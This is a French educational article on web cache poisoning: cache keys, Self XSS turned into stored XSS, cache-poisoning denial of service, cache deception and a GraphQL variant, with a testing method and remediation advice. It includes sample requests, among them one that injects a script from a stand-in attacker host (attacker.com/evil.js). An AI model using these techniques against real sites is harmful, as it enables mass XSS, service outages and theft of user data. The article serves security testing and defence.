TL;DR — Le cache est partout, mal configuré et rarement audité sérieusement. Le Cache Poisoning regroupe plusieurs familles d’attaques qui permettent, selon le contexte, de transformer un Self XSS inoffensif en Stored XSS globale, de mettre hors service un endpoint pour tous les utilisateurs, ou d’exfiltrer des données sensibles d’autres sessions. Cet article pose les bases et detaille les techniques à connaître.
Pourquoi s’intéresser au cache ?
Les serveurs de cache sont des intermédiaires transparents : ils stockent des réponses HTTP afin de les restituer rapidement sans solliciter à chaque fois le serveur d’origine. L’objectif est double : réduire la charge serveur et accélérer la distribution géographique des contenus (CDN).
Ce qui les rend intéressants du point de vue offensif, c’est précisément leur position : entre l’attaquant et les victimes. Si un attaquant parvient à faire stocker par le cache une réponse malveillante, celle-ci sera servie à l’ensemble des utilisateurs suivants, sans interaction supplémentaire de l’attaquant.
Architecture et fonctionnement
Un serveur de cache stocke ses données en RAM ou sur un stockage rapide. Lorsqu’une requête arrive :
- Le cache calcule une clé de cache à partir de certains éléments de la requête
- Si une réponse correspondant à cette clé est déjà stockée (
cache hit), elle est retournée directement - Sinon (
cache miss), la requête est transmise au serveur d’origine, et la réponse est stockée pour les requêtes futures
Client → [Cache] → Serveur d'origine
↑
Stockage de la réponse
pour les prochains clients
Lire l’état du cache dans les en-têtes HTTP
Quelques en-têtes permettent de diagnostiquer le comportement du cache lors d’un test :
| En-tête | Valeur | Signification |
|---|---|---|
X-Cache | miss | Réponse servie par l’origine |
X-Cache | hit | Réponse servie par le cache |
X-Cache | bypass | Cache contourné (spécifique à certaines solutions) |
Age | 42 | La réponse a été mise en cache il y a 42 secondes |
Ces en-têtes ne sont pas standardisés. Leur présence et leur nom varient selon la solution (Cloudflare, Varnish, Nginx, Akamai…). L’absence d’un de ces en-têtes ne garantit pas l’absence de cache, c’est un point critique pour la détection.
L’en-tête Vary est lui standardisé et indique explicitement quels en-têtes de la requête sont inclus dans la clé de cache :
Vary: Accept-Encoding, Accept-Language
Les clés de cache : le cœur du problème
La clé de cache est la concaténation de certaines parties de la requête HTTP que le cache utilise pour identifier une réponse stockée. Elle inclut typiquement :
- La méthode HTTP (
GET,POST…) - Le chemin et les paramètres GET
- L’en-tête
Host
Ce qui est exclu de la clé de cache est souvent traité par le serveur d’origine mais ignoré par le cache lors du stockage. C’est précisément là que naissent les vulnérabilités.
Exemple concret : l’en-tête X-Forwarded-Host est souvent utilisé par le serveur d’origine pour construire des URLs dans la réponse, mais il est rarement inclus dans la clé de cache. Si le serveur réfléchit sa valeur dans la réponse, un attaquant peut injecter un domaine malveillant qui sera mis en cache et servi à tous les utilisateurs suivants.
GET /page HTTP/1.1
Host: exemple.com
X-Forwarded-Host: attacker.com ← Inclus dans la réponse, mais PAS dans la clé de cache
Vulnérabilité #1 : Self XSS → Stored XSS par Cache Poisoning
Le problème
Un Self XSS est un XSS que seule la victime peut déclencher sur elle-même (par exemple via un paramètre GET réfléchi). Normalement sans impact réel. Mais si le paramètre réfléchi n’est pas inclus dans la clé de cache, la situation change radicalement.
Comment ça fonctionne
- L’attaquant envoie une requête avec un payload XSS dans un en-tête non clé (ex.
X-Forwarded-Host) - Le serveur d’origine réfléchit la valeur dans la réponse (ex. dans une balise
<script src="">ou une métadonnée) - Le cache stocke cette réponse malveillante sous la clé normale (sans l’en-tête injecté)
- Tous les utilisateurs suivants qui accèdent à cette URL reçoivent la réponse empoisonnée → Stored XSS globale
Attaquant → GET /page + X-Forwarded-Host: attacker.com/evil.js
Serveur → <script src="https://attacker.com/evil.js"></script>
Cache → Stocke cette réponse sous la clé GET /page
Victime → GET /page → Reçoit le XSS sans rien faire de particulier
Impact
Ce vecteur transforme une vulnérabilité considérée comme “informative” ou “low” en bug critique, exécutant du JavaScript arbitraire dans le navigateur de tous les visiteurs d’une page.
Vulnérabilité #2 : Cache Poisoning DoS (CPDoS)
Le principe
Certains serveurs de cache sont configurés pour stocker non seulement les réponses 200, mais aussi les erreurs (400, 404, 500…). Un attaquant peut exploiter ce comportement pour rendre un endpoint indisponible pour tous les utilisateurs.
Mécanisme
- L’attaquant envoie une requête avec un en-tête malformé ou intentionnellement trop long
- Le serveur d’origine retourne une erreur 400
- Le cache stocke cette erreur sous la clé normale
- Tous les utilisateurs suivants reçoivent le 400, même avec des requêtes parfaitement valides
Attaquant → GET /api/data + X-Malformed-Header: [4096 caractères]
Origine → HTTP/1.1 400 Bad Request
Cache → Stocke le 400 sous la clé GET /api/data
Victime → GET /api/data → 400 Bad Request (DoS)
Exemple réel : miroir APT
Un miroir de paquets APT a été identifié comme vulnérable à cette technique. En envoyant un en-tête avec une valeur délibérément longue, une erreur 400 a été provoquée sur le fichier d’intégrité des paquets (InRelease). Ce fichier étant mis en cache avec l’erreur, le gestionnaire de paquets apt devenait indisponible sur toutes les machines utilisant ce miroir, jusqu’à l’expiration naturelle du cache.
Note pour le bug bounty : Pour prouver un CPDoS sans réaliser de DoS en production, on simule l’attaque via un proxy local et on compare le comportement des réponses (avec et sans payload) sans jamais empoisonner réellement le cache de production.
Technique CPDoS avec l’en-tête Authorization
Une variante intéressante : inclure un en-tête Authorization invalide dans la requête d’empoisonnement. Si le cache stocke le 401 qui en résulte, tous les utilisateurs, même authentifiés, reçoivent une erreur 401 pour cet endpoint.
Méthodologie de test en 3 étapes
Étape 1 — Requête de référence
GET /endpoint (avec cookies valides)
→ Noter le status code de référence (ex. 200)
Étape 2 — Requête d'empoisonnement
GET /endpoint + cachebuster + payload malformé
→ Vérifier que l'origine retourne bien une erreur
Étape 3 — Requête de vérification
GET /endpoint (identique à l'étape 1, sans payload)
→ Si le status code diffère de l'étape 1 : le cache a été empoisonné
Piège courant : certains outils automatisés détectent le 400 de l’étape 2 et concluent immédiatement à un CPDoS, ce qui génère de nombreux faux positifs. La comparaison entre l’étape 1 et l’étape 3 est ce qui valide réellement le bug.
Remédiation
La correction est simple en théorie : ne jamais mettre en cache les réponses d’erreur (codes autres que 200, 301, 302, 404 selon la politique métier). Les serveurs comme Varnish ont des configurations par défaut permissives qui peuvent facilement conduire à la mise en cache de toutes les réponses, y compris les erreurs.
Vulnérabilité #3 : Cache Deception
Le principe
À l’opposé du Cache Poisoning (où l’attaquant empoisonne le cache pour les autres), le Cache Deception consiste à tromper le cache pour lui faire stocker une réponse dynamique contenant des données sensibles, puis à les lire.
Mécanisme
Certains serveurs (notamment Ruby on Rails, mais aussi d’autres frameworks) tolèrent des extensions de fichiers inconnues à la fin d’une URL dynamique. Si le cache est configuré pour mettre en cache les fichiers statiques (.json, .js, .css…), il peut être trompé.
URL normale → /api/user/profile (dynamique, non cachée)
URL forgée → /api/user/profile.json (traitée comme fichier statique → mise en cache)
Scénario d’attaque
- L’attaquant forge une URL avec une extension statique pointant vers un endpoint dynamique sensible
- Il envoie cette URL à une victime authentifiée (via phishing, image, etc.)
- La victime charge l’URL : le serveur retourne ses données personnelles (token, ID, infos de profil)
- Le cache stocke cette réponse
- L’attaquant accède à la même URL et récupère les données de la victime depuis le cache
Un cachebuster (paramètre aléatoire) est souvent nécessaire pour éviter de récupérer une réponse déjà mise en cache par quelqu’un d’autre, et s’assurer que c’est bien la session de la victime qui est capturée.
Cas avancé : exploitation d’une API GraphQL via Cache Poisoning
Ce cas illustre à quel point les architectures modernes peuvent créer des surfaces d’attaque inattendues.
Contexte
Sur une plateforme NFT, une API GraphQL signait cryptographiquement une partie du corps des requêtes POST pour prévenir la falsification. À première vue, le cache poisoning semblait impossible.
La faille
Le serveur GraphQL acceptait également les requêtes via le paramètre query dans l’URL (une fonctionnalité peu documentée mais courante). Or, ce paramètre URL n’était pas inclus dans la clé de cache.
Requête légitime (signée) :
POST /graphql
{"query": "{ getUser { id name } }"}
Requête empoisonnée :
POST /graphql?query={ getUser { id: \"ATTACKER_ID\" } }
↑
Non inclus dans la clé de cache,
mais exécuté par le serveur GraphQL
Résultat
L’attaquant pouvait contourner la signature et faire mettre en cache une réponse GraphQL arbitraire, servie ensuite à tous les utilisateurs effectuant la même requête.
Détection : par où commencer ?
Identifier la présence d’un cache
- Rechercher les en-têtes
Age,X-Cache,CF-Cache-Status,X-Varnish - Rejouer une requête GET identique plusieurs fois : si le temps de réponse chute drastiquement, un cache est probablement présent
- L’absence de ces indicateurs ne signifie pas l’absence de cache
Identifier les paramètres non inclus dans la clé
L’outil Param Miner (extension Burp Suite) automatise cette étape : il injecte des valeurs tracées dans de nombreux en-têtes et paramètres, avec un cachebuster pour chaque tentative, et détecte les réponses qui réfléchissent la valeur injectée sans que celle-ci soit incluse dans la clé.
Approche méthodique en pentest
- En fin de test, analyser toutes les URLs collectées dans le proxy à la recherche d’en-têtes de cache
- Tester prioritairement les endpoints qui servent du contenu commun à tous les utilisateurs (pages d’accueil, scripts JS, endpoints d’API publics)
- Pour les APIs, tester les variantes d’URL avec extensions (
.json,.js) et les paramètres de query
Outils recommandés
| Outil | Usage |
|---|---|
| Param Miner (Burp Suite) | Découverte des paramètres non clés, cachebusters automatiques |
| FiddlerFly | Débogage de cache, définition de règles Varnish personnalisées |
| C-Pal (en développement) | CPDoS et énumération des clés de cache, réduction des faux positifs |
Pour approfondir le sujet, les labs et articles de PortSwigger Web Security Academy sur le Cache Poisoning constituent la référence incontournable.
Récapitulatif des vulnérabilités
| Vulnérabilité | Principe | Impact typique |
|---|---|---|
| Self XSS → Stored XSS | En-tête réfléchi, hors clé de cache | XSS globale sur tous les visiteurs |
| CPDoS | Mise en cache d’une réponse d’erreur | DoS sur un endpoint pour tous les utilisateurs |
| Cache Deception | Mise en cache d’une réponse dynamique sensible | Exfiltration de données d’autres sessions |
| GraphQL Cache Poisoning | Paramètre d’URL exécuté mais hors clé | Falsification de réponses d’API signées |
Conclusion
Le cache est une surface d’attaque systématiquement sous-évaluée, en partie parce qu’elle est invisible dans l’architecture applicative standard et que ses comportements varient fortement d’une solution à l’autre. Les vulnérabilités de cache ne nécessitent pas de conditions exotiques : un en-tête réfléchi sans sanitisation, une configuration qui met en cache les erreurs, ou un framework qui accepte des extensions inattendues suffisent.
Pour les pentesters : intégrer la détection du cache dans la phase de reconnaissance et analyser systématiquement les en-têtes de cache en fin d’audit. Pour les équipes défensives : restreindre la mise en cache aux seules réponses valides, inclure explicitement les en-têtes sensibles dans les clés de cache, et auditer régulièrement la configuration de votre solution CDN ou de reverse proxy.